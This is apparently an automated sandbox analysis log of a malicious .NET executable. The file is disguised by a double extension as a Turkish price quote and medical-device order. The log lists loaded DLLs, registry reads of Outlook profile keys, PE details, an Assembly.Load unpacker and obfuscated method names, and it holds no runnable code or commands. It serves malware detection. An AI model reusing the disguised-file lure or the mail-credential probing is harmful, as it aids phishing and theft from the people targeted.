Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, chcZUZyrDJr55lSd5d.cs	.Net Code: BS8tODlYtt System.Reflection.Assembly.Load(byte[])
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, chcZUZyrDJr55lSd5d.cs	.Net Code: BS8tODlYtt System.Reflection.Assembly.Load(byte[])
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, chcZUZyrDJr55lSd5d.cs	.Net Code: BS8tODlYtt System.Reflection.Assembly.Load(byte[])
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.31afb60.0.raw.unpack, L2.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.6360000.5.raw.unpack, L2.cs	.Net Code: System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_05575D00 push eax; iretd	0_2_05575E09
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_05575E00 push eax; iretd	0_2_05575E09
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Code function: 0_2_07B2F8E8 push esp; iretd	0_2_07B2F8E9

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Static PE information: section name: .text entropy: 7.801975437341518

Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, oBXJZxdiv8wFS1Sq6H.cs	High entropy of concatenated method names: 'Sm12Mek7yn', 'tgI2ZZtcxe', 'MY42KJoWNa', 'bUJ2AJcnsZ', 'F3a2mXuJdx', 'dKl2TECwUQ', 'Cr02xnSyjC', 'Fv32wqDOFi', 'UYA2aDSeTV', 'hQe2f5PV34'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, M2G0LvtsEhXNMNChLt.cs	High entropy of concatenated method names: 'ybVX7BXJZx', 'pv8XywFS1S', 'AKaXD7YgEY', 'YivXvVVgk7', 'I7aXVDcDal', 'wWCXiXxRrB', 'UYabwISIhv1pYHAjNq', 'me1rlCcVuJeRHOARc2', 'hCMXXkAaZn', 'CrVXjMQ5lf'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, TGMUkbA0Kbu1msKbsw.cs	High entropy of concatenated method names: 'gM1CDK0T23', 'YMwCvkVk1e', 'ToString', 'KBdCY4UByJ', 'I0RC2UhEH5', 'e9mCGKlKVh', 'yi3CkOlFBv', 'VTAC5TKTG3', 'jZ7C77MwBT', 'DdRCySmkra'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, lalWWCoXxRrB1dKojv.cs	High entropy of concatenated method names: 'x0L5p3A2bN', 'ooA52bmvT5', 'Baj5kg0t09', 'Unn57CrGuD', 'HKK5yOk7Mg', 'N7gkmaxiVD', 'HkpkTF0hYh', 't4ZkxZMPIH', 'Qn0kwUTuuB', 'uFjka4BOEL'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, s6XsfsHKa7YgEYfivV.cs	High entropy of concatenated method names: 'tQZGsd4E2Q', 'UJxGr5sHby', 'KYrGd9q22c', 'fZPGHZ3RPV', 'OcAGVYumKF', 'ctQGicE1vO', 'gDsGCsBlL8', 'KnaGn3enQq', 'PkpGJQyral', 'mPRGgZ2LQG'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, wc2XIuBUuyRX37k0tb.cs	High entropy of concatenated method names: 'ktN7YFvewH', 'J117GBpb84', 'hMl75bmO2Q', 'sjG5f0OoLA', 'a9j5zV2R79', 'AF374JpFtJ', 'Wnv7XtTPWX', 'H017LpNBJn', 'AVk7jKHsPt', 'qGq7tmTSXG'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, SX9YTBX4Fs19bBqFKDk.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'nXZg1xcaWL', 'BmDgl0wkpW', 'wN0gbGhPiQ', 'bDEgMoeauU', 'flQgZkMaXG', 'GNjgKKDr9F', 'CnHgAy371k'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, Ovv7TxK8SiTZmDE309.cs	High entropy of concatenated method names: 'ToString', 'Lvdi1YNs8x', 'Y2CiNHyVdC', 'aKAiFMyUES', 'Iv4iuSVWSZ', 'TgCi0O2Wm6', 'f6yiQK1pJn', 'PjiiB4tqMk', 'rV0icSNpK6', 'YroiSoDuN0'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, Eg6tbkXXYLdYRflD26p.cs	High entropy of concatenated method names: 'ajhgfWJMYP', 'QYCgzrGUKl', 'rG694LoA6E', 'daj9Xx45Z9', 'qE99LHPwQl', 'xBH9jiBvvY', 'WCV9tX7Wvd', 'PEo9pLpfKD', 'rIm9Y9DGJX', 'XAy92KvxDX'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, ovGAdibW3XVXQYqWOO.cs	High entropy of concatenated method names: 'daMRdgt0r8', 'sMfRHsgDfO', 'fexRoo5Yef', 'jyJRNC9xVY', 'hW3RunJkwe', 'DcqR0fuQyH', 'KHrRB2Pw1N', 'anRRcIivOT', 'Wb3RqSTTUE', 'nJsR1b88Js'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, HRTOxMTE3odfb866U5.cs	High entropy of concatenated method names: 'TtECwM31Hw', 'vTbCf65UYs', 'V90n4yUYV9', 'AOlnXhFpKp', 'HcaC1OVXFo', 'xBdCl20l4O', 'booCbxWPae', 'l1KCMScDMb', 'Ej9CZFDQex', 'D8dCKri3lH'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, wVn35QS6L2AviJCUnX.cs	High entropy of concatenated method names: 'C7c76YtU9R', 'T4g73Glkyk', 'JAm7OKSfTN', 'LNt7sNneIH', 'QLa78Ja7qh', 'GnX7rVEnk4', 'E2n7PtEldC', 'A7v7dqcS1N', 'nmI7H99Xwo', 'UQH7U3DSpm'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, Q92ZEGuR3R0exjdZ2W.cs	High entropy of concatenated method names: 'CuL5evOS9A', 'amE564KOTc', 'x185O37SL8', 'tUW5suQjnw', 'GgN5rGkKPd', 'yV05Pktqhs', 'xx85HoLDRq', 'CQa5UGpBpa', 'KBKX9rYNCPRyoswsU22', 'ARNkAdYmTghI04rHAAN'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, Bvh04s2RPwtMA24VC4.cs	High entropy of concatenated method names: 'Dispose', 'URGXaDZ31B', 'KGfLNFIJC2', 'oL2kaGFCia', 'YkSXfH9CfJ', 'feBXzbn0Ar', 'ProcessDialogKey', 'MZXL4BT5kI', 'q9PLXdKbdo', 'igMLLKlj2q'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, Slj2qPfQHxBUgjbDJa.cs	High entropy of concatenated method names: 'Y0TgGM4kJI', 'kvogkPMryL', 'jLKg5aqY1R', 'DbBg7AyPHw', 'afxgJjCKql', 'P2fgyEyepX', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, OOFLQYze1sefpXqr3a.cs	High entropy of concatenated method names: 'ucHgr4WtCf', 'zRPgddeeeX', 'zMYgHyKsRO', 'KGygombDxn', 'zNigNXvTyu', 'bJJguqxL8m', 'yYrg0K7M3j', 'x3pge1v3SQ', 'QBGg620RuA', 'WLjg309qP4'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, aBT5kIan9PdKbdo5gM.cs	High entropy of concatenated method names: 'sf4Joyiqvf', 'AGTJNC0FmS', 'MkhJFDMk1g', 'MUoJuDSGpH', 'HEgJ0ImxhQ', 'su6JQWgjFG', 'HUGJBQMi0V', 'LLYJc7wE1T', 'CIdJSJDs9p', 'wuwJqR3wpF'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, vS8He9MSluhkl5uLAc.cs	High entropy of concatenated method names: 'BQJVqePRET', 'Cq9VlapZjC', 'zM1VM3y9p2', 'WY0VZMqDUk', 'PNKVNDgUMR', 'OqPVFpWwcV', 'kawVuC65v6', 'iS1V01BaId', 'gNHVQxcHxB', 'coVVBPSiRI'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, fvx3xRxwOmRGDZ31Bf.cs	High entropy of concatenated method names: 'FfiJVHjP4s', 'sM3JCRS2T7', 'cawJJ9sdd7', 'KnvJ9jCyuh', 'o7ZJI9wb9W', 'bTVJeIjoJR', 'Dispose', 'hxgnYxlSFC', 'uKUn2dmIGM', 'KE8nGivjRw'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, xQs4EgLS5JBIGhk6AF.cs	High entropy of concatenated method names: 'qk6Oq6f0d', 'ESFsvkmBp', 'cIcrJ62XR', 's0APGCHVN', 'zBvHwU44p', 'lrjUJIIrG', 'PXCixqlX1YIs6ie8H3', 'sBT9uwqf0auY8SgZ8y', 'dRFCjVUrtg35ttofte', 'qTMn6VW4Y'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.7610000.6.raw.unpack, chcZUZyrDJr55lSd5d.cs	High entropy of concatenated method names: 'pVmjptivra', 'PhBjYGyR5j', 'AQIj2eoBNJ', 'iK0jGAc0cP', 'MNhjk8nMoX', 'Fuij5TcgHv', 'K5gj7WQnj6', 'pQ3jyy5F4W', 'utLjED5kVa', 'soojDlZRrJ'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, oBXJZxdiv8wFS1Sq6H.cs	High entropy of concatenated method names: 'Sm12Mek7yn', 'tgI2ZZtcxe', 'MY42KJoWNa', 'bUJ2AJcnsZ', 'F3a2mXuJdx', 'dKl2TECwUQ', 'Cr02xnSyjC', 'Fv32wqDOFi', 'UYA2aDSeTV', 'hQe2f5PV34'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, M2G0LvtsEhXNMNChLt.cs	High entropy of concatenated method names: 'ybVX7BXJZx', 'pv8XywFS1S', 'AKaXD7YgEY', 'YivXvVVgk7', 'I7aXVDcDal', 'wWCXiXxRrB', 'UYabwISIhv1pYHAjNq', 'me1rlCcVuJeRHOARc2', 'hCMXXkAaZn', 'CrVXjMQ5lf'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, TGMUkbA0Kbu1msKbsw.cs	High entropy of concatenated method names: 'gM1CDK0T23', 'YMwCvkVk1e', 'ToString', 'KBdCY4UByJ', 'I0RC2UhEH5', 'e9mCGKlKVh', 'yi3CkOlFBv', 'VTAC5TKTG3', 'jZ7C77MwBT', 'DdRCySmkra'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, lalWWCoXxRrB1dKojv.cs	High entropy of concatenated method names: 'x0L5p3A2bN', 'ooA52bmvT5', 'Baj5kg0t09', 'Unn57CrGuD', 'HKK5yOk7Mg', 'N7gkmaxiVD', 'HkpkTF0hYh', 't4ZkxZMPIH', 'Qn0kwUTuuB', 'uFjka4BOEL'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, s6XsfsHKa7YgEYfivV.cs	High entropy of concatenated method names: 'tQZGsd4E2Q', 'UJxGr5sHby', 'KYrGd9q22c', 'fZPGHZ3RPV', 'OcAGVYumKF', 'ctQGicE1vO', 'gDsGCsBlL8', 'KnaGn3enQq', 'PkpGJQyral', 'mPRGgZ2LQG'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, wc2XIuBUuyRX37k0tb.cs	High entropy of concatenated method names: 'ktN7YFvewH', 'J117GBpb84', 'hMl75bmO2Q', 'sjG5f0OoLA', 'a9j5zV2R79', 'AF374JpFtJ', 'Wnv7XtTPWX', 'H017LpNBJn', 'AVk7jKHsPt', 'qGq7tmTSXG'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, SX9YTBX4Fs19bBqFKDk.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'nXZg1xcaWL', 'BmDgl0wkpW', 'wN0gbGhPiQ', 'bDEgMoeauU', 'flQgZkMaXG', 'GNjgKKDr9F', 'CnHgAy371k'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, Ovv7TxK8SiTZmDE309.cs	High entropy of concatenated method names: 'ToString', 'Lvdi1YNs8x', 'Y2CiNHyVdC', 'aKAiFMyUES', 'Iv4iuSVWSZ', 'TgCi0O2Wm6', 'f6yiQK1pJn', 'PjiiB4tqMk', 'rV0icSNpK6', 'YroiSoDuN0'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, Eg6tbkXXYLdYRflD26p.cs	High entropy of concatenated method names: 'ajhgfWJMYP', 'QYCgzrGUKl', 'rG694LoA6E', 'daj9Xx45Z9', 'qE99LHPwQl', 'xBH9jiBvvY', 'WCV9tX7Wvd', 'PEo9pLpfKD', 'rIm9Y9DGJX', 'XAy92KvxDX'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, ovGAdibW3XVXQYqWOO.cs	High entropy of concatenated method names: 'daMRdgt0r8', 'sMfRHsgDfO', 'fexRoo5Yef', 'jyJRNC9xVY', 'hW3RunJkwe', 'DcqR0fuQyH', 'KHrRB2Pw1N', 'anRRcIivOT', 'Wb3RqSTTUE', 'nJsR1b88Js'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, HRTOxMTE3odfb866U5.cs	High entropy of concatenated method names: 'TtECwM31Hw', 'vTbCf65UYs', 'V90n4yUYV9', 'AOlnXhFpKp', 'HcaC1OVXFo', 'xBdCl20l4O', 'booCbxWPae', 'l1KCMScDMb', 'Ej9CZFDQex', 'D8dCKri3lH'
